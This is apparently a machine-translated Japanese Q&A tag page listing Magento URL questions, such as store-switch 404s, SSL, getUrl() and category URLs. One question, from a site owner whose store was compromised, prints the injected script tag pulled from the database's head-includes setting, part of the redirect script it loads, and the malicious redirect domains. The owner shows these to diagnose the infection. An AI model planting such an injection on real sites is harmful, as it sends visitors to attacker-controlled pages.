タグ付けされた質問 「url」

URLの問題とカスタムURLに関する質問を示します。

5
Product Store ViewスコープURLキーを持つストアスイッチ上の404
URL Key製品ページのデフォルトでは、グローバルスコープです。 編集: FlorinelChisが示唆するように、スコープは属性の管理で変更できます。ただし、これによりストアビュースイッチャーの動作が壊れます。 これは、サンプルデータと「ストアコードをURLに追加」を有効にして1.7.0.2でテストされています。 製品を編集し、特定のストアビューに別のURLを設定します(フランス語) 再インデックス 英語のストアビューでサイトの製品ページを開く フランス語に切り替える:ページのURLが含まれます /French/ 英語に戻す-> 404ページエラー(URLがストアコードを見逃している /default/ ストアビュー/言語スイッチで正しく動作させる方法は? 詳細: 英語のURL: /default/sony-vaio-vgn-txn27n-b-11-1-notebook-pc.html フランス語のURL: /french/sony-vaio-vgn-txn27n-b-11-1-notebook-pc-french.html このページの英語サイトにいる場合-> /default/sony-vaio-vgn-txn27n-b-11-1-notebook-pc.html 次に、フランス語に切り替えます。 このURLを取得しました(ストアコードが見つかりません): MAGEDOMAIN/sony-vaio-vgn-txn27n-b-11-1-notebook-pc-french.html そのため、magentoはURLを正しく書き直しますが、何らかの理由でストアコードを見逃します 参照: 確かにこれはに関連している/core/model/store.phpと/core/model/url/rewrite.php、特にこれらのメソッドに: Mage_Core_Model_Url_Rewrite::rewrite Mage_Core_Model_Store::getCurrentUrl 更新 1.9.1を使用している場合、@ Vinaiの修正が機能しない場合は、追加した新しい回答を確認してください

1
カスタムモジュールページでSSLを使用するにはどうすればよいですか?
いくつかのページを含むモジュールを作成しましたが、このページで、顧客のログインページのように、URLでSSLを強制的に使用する方法を知りたいと思います。すべてのページで必要なわけではありませんが、必要なページもあります。 (私は試していませんが)頭に浮かぶのは、アクションコントローラーでURLを評価し、https://magento configでSSLが有効になっていて、現在のURLがそれを使用していない場合にリダイレクトすることです。 このアプローチは正しいですか?または、この種の設定は構成ファイルに含まれますか?

3
Magento 2でgetUrl()関数を使用する方法
Magento2で$ this->を使用してMage :: getUrl()を直接呼び出すことはできますか? Magento2で以下のコードを使用するにはどうすればよいですか? $link = Mage::getUrl('*/*/*', array('_current'=>true, '_use_rewrite'=>true, '_query'=>$this_params));
11 magento2  url 

6
Magento2-IDでカテゴリURLを取得
特定のカテゴリのURLキーをIDで取得しようとしています。私はこれを持っています。 $categoryId = 3; $_objectManager = \Magento\Framework\App\ObjectManager::getInstance(); $object_manager = $_objectManager->create('Magento\Catalog\Model\Category')->load($categoryId); print_r($object_manager->getData()); これは機能します(print_rには必要なURLキーがあります)が、カテゴリー#3が最上位のカテゴリーです。サブカテゴリ(ID 5など)を試すと、空の配列が表示されます。私は言葉に迷い、理解できません。 Magento 1.xではこれMage::getModel('catalog/category')->load($catID)->getUrl()を行っていましたが、うまくいきました。 TL; DR:このコードは機能し、IDを(正しい)カテゴリIDに変更getData()しgetUrl()、完全なカテゴリURLまたはgetName()カテゴリ名に変更します。

3
CLIのMAGE_DIRSブートストラップパラメータ
ではpub/index.php、次のコードを使用して、メディアおよび静的アセットの変更URLを設定し、「/ pub」を省略します。 $params[Bootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS] = [ DirectoryList::PUB => [DirectoryList::URL_PATH => ''], DirectoryList::MEDIA => [DirectoryList::URL_PATH => 'media'], DirectoryList::STATIC_VIEW => [DirectoryList::URL_PATH => 'static'], DirectoryList::UPLOAD => [DirectoryList::URL_PATH => 'media/upload'], ]; $bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $params); 残念ながらCLIスクリプト(bin/magento)にはこのようなものはありません。 Magento\Setup\Mvc\Bootstrap\InitParamListener次のコードでクラスを見つけました: $initParams = $application->getServiceManager()->get(self::BOOTSTRAP_PARAM); $directoryList = $this->createDirectoryList($initParams); しかし、私はこのZend Service Managerがどこでデータを取得し、どのようにしてデータに影響を与えることができるのか理解できません。 私の具体的な問題は、インデクサーが完全なURLを生成するhttp://magento.local/pub/media/...必要があり、現在はのようにする必要があるということです。http://magento.local/media/... 仮想ホストがポイントしpub、「pub」がURLの一部であってはならないことをCLIにどのように伝えることができますか? 理想的には、これは追加のCLIパラメーターや環境変数に依存する必要なく機能するはずです。

3
magento製品のURLが重複する理由
使用していmagento 1.7ます。私は奇妙な問題に直面しています。magento間違ったURLキーで乱数を含む製品URLを複製する また、テーブルrewrite_urlsを空にしてURLのインデックスを再作成しますが、それでも間違ったURLを取得しています。この問題の解決を手伝ってください。問題の画像を表示できない場合は、リンクをクリックしてください。製品のURLと管理パネルの製品が重複しています。 、 例であなたを理解させましょう 「example」という名前の製品が1つあり、URLキーが「example」のように、URLは www.example.com/example そして今、私は新製品「xyz」を作成し、URLキーは「xyz」であり、URLは www.example.com/xyz しかし、マジェント生成URL www.example.com/example-123

7
ウェブサイトが別のURLへのリダイレクトを開始する
Maybe it's infected by some virus. 私のウェブサイトはこれらの感染したURLへのリダイレクトを開始します。 http://mon.setsu.xyz およびしばらくhttps://tiphainemollard.us/index/?1371499155545 感染したリンク 私が解決するために何をしたか。 コメント付きの.htaccessファイル(何も起こらない) コメント付きのインクルードフォルダー(何も起こらない) 完全なサーバーをスキャンしました(ウイルスマルウェアが検出されなかったことはありません) データベースのCSS、メディア、およびjsパスを変更して、そのPHPまたはjsが実行している天気を確認します(何も起こりません)。 select * from core_config_data where path like '%secure%';すべてのリンクは問題ありません UPDATE 私はグーグルでこれについて多くの記事が書かれていましたが、それはブラウザの問題か私のシステムが感染していることを示唆しています。 私の携帯電話や個人のラップトップでサイトを開いても、これに関する記事は同じです。 アップデート2 影響を受けるデータベースの行を見つけました。(Boris K.も言っているように) ではcore_config_data 、テーブル design/head/includes 値持っています <script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script> ページ読み込み時にヘッドセクションに挿入されます。 上記のURLにアクセスすると、リダイレクトのスクリプトが表示されます。 var redirChrome; var isToChrome = document.currentScript.getAttribute('data-type'); if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") …


3
コンテキストに基づく安全なURLの使用
さまざまな方法を使用して、コンテキストに基づいて安全なURLを生成することに慣れています。 $this->getUrl('my-page', array('_forced_secure' => $this->getRequest()->isSecure())); これは、セキュアモードのときにセキュアページにアクセスするリンクを構築する場合に役立ちます(セキュアモードを使用していない場合は、非セキュアページにリンクするだけです)。 私が見ている問題は、Magentoが少数の特別なページのみを安全である必要があるものとして扱うことです(顧客のアカウント、チェックアウトなど)。ユーザーが現在セキュアモードの場合はMagentoに常にセキュアリンクを使用させ、ユーザーが非セキュアモードの場合は非セキュアリンクを使用させることをお勧めします。 私が言えることから、私の唯一の本当の選択肢は: のすべてのインスタンスを$this->getUrl()上記のスニペットのように変更します。 非セキュアbase_urlを設定してHTTPSを使用し、すべてのページを強制的にセキュアにします。 $this->getUrl()ユーザーのコンテキストに関係なく、すべての呼び出しをHTTPS に変更したり、すべてのページをHTTPSに強制したりする必要がない、より良い方法はありますか? -編集- /app/code/core/Mage/Core/Model/Url.php->setRouteParams()メソッドを変更できることは承知していますが、よりクリーンな方法があることを期待しています。
9 url  https 

4
Magento 2:デフォルトのストアのURLのみでストアコードを削除する
デフォルトのストアビューがドイツ語である2つの言語でmagento 2マルチストアを実行します。オンラインショップはフランス語でもご利用いただけます。店舗コードは次のようにURLに追加されます。 www.domain.at www.domain.at/de www.domain.at/fr SEOに関して言えば、デフォルトのストアは、ストアコードなしで、およびで使用できるため、コンテンツが重複するという問題がありますURL。次のURLは同じコンテンツを示しています。 www.domain.at/de www.domain.at/ 実際、我々は、Magentoの1のために、ここでのように同じ動作を必要とする:のURLからMagentoの削除「デフォルト」の店舗コード 誰もがこの問題を修正する方法を知っていますか?

3
バックエンドから製品のフロントエンドURLを取得する方法は?
Magento 2の拡張機能を開発しています。バックエンドから製品のフロントエンドURLを取得する必要があります。私は使用しようとしました: //$storeManager->->setCurrentStore(2); $url = $product->setStoreId(2)->getProductUrl(); $url = $product->setStoreId(2)->getUrlInStore(); しかし、$url常にのようなバックエンドURLを返しhttp://<domain>/admin/catalog/product....ます。Magento 1.xでは機能しますが、2.xでは機能しません。フロントエンドのURLを取得する方法はありますか?

2
静的コンテンツフォルダーのURLを取得(バックエンド用)
管理パネルでボタンをレンダリングするために使用されているブロッククラス内で、静的コンテンツフォルダーのURLを取得する方法は?具体的には、画像のあるフォルダのURLですか。 たとえば、Company_Helloworldモジュールでは、カスタムボタンの画像は次の場所にあります。 app / code / Company / Helloworld / view / adminhtml / web / images / テスト1 私はこれを試しました: $url = $this->getViewFileUrl('Company_Helloworld::images/icon.png'); しかし、Magento/backendテーマから画像を取得しようとします: http://example.com/pub/static/adminhtml/Magento/backend/en_US/Company_Helloworld/images/icon.png 画像はありませんが、画像は実際にはモジュールのフォルダーにあります。 app / code / Company / Helloworld / view / adminhtml / web / images / icon.png テスト2 この: $url = $this->getViewFileUrl('images/icon.png'); ただし、Magento/backendテーマから画像を取得しようとしますが、今回はモジュールコンテキストがありません。 http://example.com/pub/static/adminhtml/Magento/backend/en_US/images/icon.png …


2
magento admin urlでは、「admin」という単語が2回出現します。2番目のものを削除する方法?
クライアントの管理URLが次のような状況になっています。 http://www.example.com/index.php/admin/admin/dashboard/index/key/0981a6bd2f5a06fec85d3c9e297849a0/ 管理者という言葉は2回出現し、1つを削除する方法。app / etc / local.xmlをチェックし、magento admin-> system-> configuration-> adminで、デフォルト設定に変更はありませんでした。 注:私はstackoverflow.comで同じ質問をしましたが、3日以内に回答が得られなかったため、ここに再投稿しました。

4
製品のカテゴリを含む完全なURLを常に表示する
Magentoウェブショップ(1.7.0.2)では、URL構造を最適化しようとしています。私たちはすでにいくつかのことを改善することに成功しましたが、1つは成功しませんでした。すべての製品に完全なURL(カテゴリを含む)を使用したいと考えています。例えば: www.website.com/products/best-products/product または:カテゴリページのwww.website.com/products/best-products これは、カテゴリを参照してブレッドクラムを使用する場合は正常に機能しますが、検索する場合は機能しません。次に、常にwww.website.com/productをURLとして使用します。これは、製品が複数のカテゴリに属している可能性があり、検索結果で使用するカテゴリがわからないためです。 これを強制する方法はありますか?それをどうにかして「最初の」カテゴリを使用するために、あるいはあなたが選ぶことができるいくつかのデフォルトのカテゴリを使用するためにさえ?私は開発者なので、コードに変更を加えてもかまいませんが、別の方法やより信頼できる方法がない場合に限ります。ヒントやトリックは大歓迎です、事前に感謝します!

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.